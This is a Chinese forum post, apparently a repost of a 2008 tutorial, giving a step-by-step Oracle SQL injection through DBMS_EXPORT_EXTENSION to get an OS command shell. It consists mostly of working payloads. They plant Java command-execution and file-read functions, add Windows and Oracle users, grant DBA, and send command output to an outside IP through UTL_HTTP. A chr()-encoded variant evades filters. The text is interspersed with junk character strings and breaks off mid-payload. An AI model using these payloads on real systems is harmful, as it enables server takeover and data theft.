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标题: 犀利的 oracle 注入技术 [打印本页]

作者: admin    时间: 2012-9-13 16:49
标题: 犀利的 oracle 注入技术
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6 P" @$ r" ?9 T! t% O' B介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成& I. A/ K# z) M; p

" e$ @6 D! O* b# C3 Q/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)# {1 ?5 f3 `% F* T# p
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语句有点长,可能要用post提交。+ @/ Z# h) J. y, _+ k& X
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' w5 Z* J% [) U4 f" ?, d以下是各个步骤:  r9 _. j! y2 d1 n: c. \
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1.创建包) c5 e" u$ k! O# i/ B1 F
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:6 s8 w/ [3 X) X$ p3 Y( p; m

) c* S( [2 i9 j$ p2 F/xxx.jsp?id=1 and '1'<>'a'||(
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( E9 E- @, d& P6 ?/ B: d" bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', G! v6 ~( D) U5 W9 u* ^7 ^
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
0 O( B" O  A! ~$ ~7 L( X' ynew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
' X  ]' k# S5 n" l. u}'''';END;'';END;--','SYS',0,'1',0) from dual
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0 R/ u/ U+ e+ `; c& c4 M3 K' c------------------------: i8 ~3 N' m' v& u+ _
如果url有长度限制,可以把readFile()函数块去掉,即:
1 T5 ]' q9 y) P: Q/xxx.jsp?id=1 and '1'<>'a'||(
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7 L% M" P" N) V2 J1 d  yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
6 C1 M+ N. G) A9 Q" e' |$ @create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader($ o, b% u9 U! r9 c
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
" s( Y( `! a4 P3 d! w}'''';END;'';END;--','SYS',0,'1',0) from dual9 C$ i1 ]* O7 e% Z9 X
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# ]  Z& @+ S1 j% N同时把后面步骤 提到的 对readFile()的处理语句去掉。, T1 n5 N. W$ B; j/ C6 O
------------------------------
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2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual5 X7 q& U, v8 D* y+ d3 m' @
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+ H3 d4 X4 l) v1 z+ U) L3.创建函数5 r  M& P  \5 u. S- ^

" B, g2 v; N3 J4 [" @. |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* ~3 j4 \! ~% H0 D" ^8 \/ Gcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual; k5 u5 g8 ?* H  d- r

  [1 u! w! S# a- yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. V! d) F: J3 ?
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限( D8 a& T1 ~7 C) ?% \" p3 O

1 F/ `9 f9 I$ y+ ^0 C' Y9 a5 T6 m; nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual% P8 o  g/ Z8 J8 P+ D% J4 U! W
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ h3 U) r) ~: o/ ~) _; r
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5.测试上面的几步是否成功7 K5 o4 ^  v- Q9 y1 C' W4 c
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and '1'<>'11'||(
4 ~2 X/ g8 {. L: i- \. Cselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD', i3 C6 D' ?8 ~4 ^
)
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and '1'<>(0 a' U5 B; c, `6 e" U' k, t
select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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& R$ d* Z5 y% `' c6 P6.执行命令:" |* {2 L* k- w/ j! h- S$ K

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select sys.LinxRunCMD('cmd /c net user linx /add') from dual( ?! j$ p# B; r
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/ I: E9 `0 K& X* J( F2 _select sys.LinxReadFile('c:/boot.ini') from dual3 U" N  C: n8 E/ ]- l
)
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。# E0 j& d, A3 N6 U5 Q: A4 |
如果要查看运行结果可以用 union :5 v( _! W( F5 ~$ N8 D

: }: s5 w' l( V4 A1 j/ b4 d/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual8 x* R- f& _' A/ H& w9 e
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或者UTL_HTTP.request(:
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual) K' ^7 w; s1 d+ w5 M4 n( M
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2 p2 ]" s+ h3 n% }' Y7 H/xxx.jsp?id=1 and '1'<>(
7 u& z, K( {# ?- a' kSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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' h* O8 y" G6 G! Z" \注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。# _6 H* ]4 ~, Z8 E# q
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--------------------
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6.内部变化
5 Y- \, E' j7 z# ]通过以下命令可以查看all_objects表达改变:6 @; G# D: m  X1 H
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'( a$ |, t2 L! z; f2 Q; j& U
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7.删除我们创建的函数
. B" |* A2 n: xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ T6 [4 c7 y- ndrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual- O5 V' ]6 h5 N

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6 _- t1 h. o- r6 i( w* N& j. n====================================================% j2 l! y$ r' T% n* R9 q
全文结束。谨以此文赠与我的朋友。, b7 `. e- T9 [: ?& ~4 O! c% B0 k
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linx
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4 G, t6 \: a9 K3 J+ J7 q# [2008.1.12
2 _* t. b6 o! U3 D% [* P5 S3 Q" |[email protected]
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======================================================================
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0 d7 a8 Y. j9 R8 d6 R. y2 ?测试漏洞的另一方法:
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创建oracle帐号:
" m$ R3 Q% W- U; [/ cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': a1 m* N2 ]: ?
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual: X& f) F7 J8 o2 Y3 I! a. b

7 X3 r; N. H  m* C" G0 m6 ^即:
0 g: p: W, t$ i- C) z! wselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
  J2 O1 F( M' xchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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确定漏洞存在:) Z5 T/ g0 b3 f
1<>(
) t2 m' K5 a- i  S; J* y/ Y  jselect user_id from all_users where username='LINXSQL'( @2 `* y' l7 f
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给linxsql连接权限:0 F8 E( y. R2 n# S0 X: I5 F
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ C" h+ R2 h# B% C0 F. v; ^GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual$ N$ s. @3 S. Y% B6 }  U  G9 l

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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  m$ K/ e: o$ [drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
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======================6 p  h* u$ ~2 y% Y6 ]

6 @: s4 Y( V" }& c) Z以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:/ o+ t5 D# k- ~( ], t$ e% B, q2 P0 A
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1.jsp?id=1 and '1'<>(
" c$ z* o, [5 d* T, d& Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 k) u, m. x- A6 c0 fcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual$ p; p7 Y$ @% G% r/ \1 }
) and ...
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* A  I. `) m% o* i, j1.jsp?id=1 and '1'<>(
# J: B2 h! v, U& k; K# `/ ?- P! sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
4 p& _5 s& U$ A) e: h. I" g) and ...0 O$ N; Q) s" z# F' b& N

/ N5 J. s2 _4 [* k1.jsp?id=1 and '1'<>(
7 r* Z7 _# m- H; _SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
: ?5 H5 _1 j4 j3 j. T5 i& m( ?) and ...0 g3 U" g/ ~; N7 F3 A- I
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3 N7 y6 ?7 |, f8 l  ?: j: k8 _1.jsp?id=1 and '1'<>(
4 y1 M: b9 n2 R: W. KSELECT sys.Linx_Query('declare pragma3 @. \  i* x1 {+ w5 U
autonomous_transaction; begin execute immediate ''
% B; a# R5 e% uselect 1 from dual
9 i( V: F2 W- H0 M$ h''; commit; end;') from dual
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多语句:
4 c+ Y0 b7 r- r3 f6 `  s3 t7 C. ESELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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5 C+ d0 c, J  @7 L9 _% L, d8 F创建用户(除非当前用户有system权限,否则无法成功):
; o& N! a  u4 z3 R& l4 ^7 s8 Q& kSELECT sys.Linx_Query('declare pragma0 ^& \9 I! u% \+ k- Y0 p* I1 ?
autonomous_transaction; begin execute immediate ''9 I  `! D7 ]# z# I# Z
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
4 Y0 n6 w0 K0 H! ~6 C8 U6 ], @% U''; commit; end;') from dual
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, D3 N9 f7 `. o( ^以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()% p- w" H: M# i- \" c: C3 A

8 r. z/ w' Z. d7 R- L1.创建函数
0 C7 G) _; Y) k, U9 @  vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& d' x6 J) Y2 ^' }2 G/ _
create or replace function Linx_Query (p
/ U5 ?- a4 p2 g& N7 W, }varchar2) return number authid current_user is begin execute immediate. |2 e6 P0 J. [3 n: K
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;$ g6 S3 j& `/ X, k

* X! F( J# O8 b' |  _6 A7 C& z- l如果有权限,以下语句应该允许正常4 I- A2 {, }9 l' s2 o
select sys.linx_query('select 1 from dual') from dual;$ y- {. w: `4 S* w

, }6 E* h* |9 o- \, i7 y不然的话运行:6 c" ~$ X" a) Z4 O
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''" G( S' g1 S1 q: c& s$ ~
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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2.创建包
  q! S5 y5 k6 W. l; ?SELECT sys.Linx_Query('declare pragma, E/ N# j( e3 r6 _0 ^
autonomous_transaction; begin execute immediate ''
  V' L  t$ j! j8 n1 D( Z% Zcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
0 U  W/ v  W) r+ d* y* g6 S* |# Onew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual9 L' k+ J/ H3 i" o

- ^) O# z9 d* o8 d4 a3.创建函数
  C' I2 e, U( M# \: ?- r# C+ X& K5 |SELECT sys.Linx_Query('declare pragma
$ A$ j# X( V' Z4 fautonomous_transaction; begin execute immediate ''  o7 X; E4 L# D' v
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual( N* J' J0 [# C6 {+ Z) R
+ D3 j. k' W; @1 q' z8 b( x
4.给权限0 H: R9 A4 p: J% V& n6 s) u
给用户SYSTEM执行权限:
& E/ \& S) v3 j& z0 T
* x; k$ p5 f: q/ M8 x6 i/ Z4 uSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual+ u( J" ?7 O, q
( O9 T. t9 p7 D

+ u, ?9 q4 N4 k! l% E" y3 F
( t! l) O& X* _  ~" L5.执行函数
  Z1 }+ Y8 i' a) \/ E. F2 ]select RunCMD2('cmd /c dir') from dual( b% l4 p. b* @: H2 d
8 J0 Z. U) T& K  G. e4 c0 I

% v0 j" e. D- U5 e! F, Q5 m/ H$ i3 X. q- t, T4 d0 u% ^

8 V( m/ p9 `3 R* u! ^4 U. Y9 J4 j9 s. H' H8 ~
==================9 Z# F( k5 u( C; }
================================) k: f  I, }' R2 m0 d

2 g! W, T) N0 I! b: T7 J; t以下是无 " ' " 版:( `$ |0 w* {& p* p! i, |

. r+ `+ R8 W9 u3 S9 w4 J3 M以下是各个步骤:
3 E# [* n! D4 \6 c7 R0 T4 u; Q) y7 L; x; N/ D  ~2 `
1.创建包
0 c' e1 ~+ p7 _- a2 u# V# z- ]通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
) P; Y5 a: e1 ^因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:  g% y& s# B8 A5 k4 f! g
; T8 P! L: H5 H6 E1 O% d6 I
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
2 p& i( I8 D) P! B# Q" v- F
2 M0 E! F; @; y, {! t8 ]8 Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),& n# _& ~3 G9 m5 l% w& ^- c
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
% b. z1 V$ b4 n; y' ^chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||+ @2 V$ p' C* ^  C/ Y  h
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
$ g) L/ O  W' g2 H. t  kchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
9 B0 ~! T$ p& i" t9 xchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||' A+ E- ?0 I9 j, b  @
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
1 |5 ]4 \  o8 F+ _& ^chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||4 p# x5 G) U* ?% t
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||. T6 e6 O) U* O
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||0 w; N7 J7 S* s  W* b) f+ g
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
4 f+ u! L7 v! t/ x! Kchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||& k; Z& [* D- r6 M5 m2 ]& T
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
% d" i& D/ `6 G/ Y0 U: Dchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||
" v& l; N: @! k7 h' f% X# ]chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||9 S. F9 o" v/ k3 V$ f0 H. `
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||$ r/ y9 w( Y& C! [6 n0 Q
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||1 M3 l1 a7 W4 @1 j
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
4 b* T; @3 b! O% C: E1 qchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||- Z$ ]: X& E( v, M; C
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
/ G0 b0 [* e, W$ X$ I3 {8 Nchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||4 G8 F8 r$ Q+ s0 u! s8 l) w
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||! M) ~2 z( R8 E) \, b4 E+ b8 x
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
5 m- [  E' `8 Uchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
- o8 y; ~% A* j2 y. Zchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||: o' s% `; P( F) x; D& p
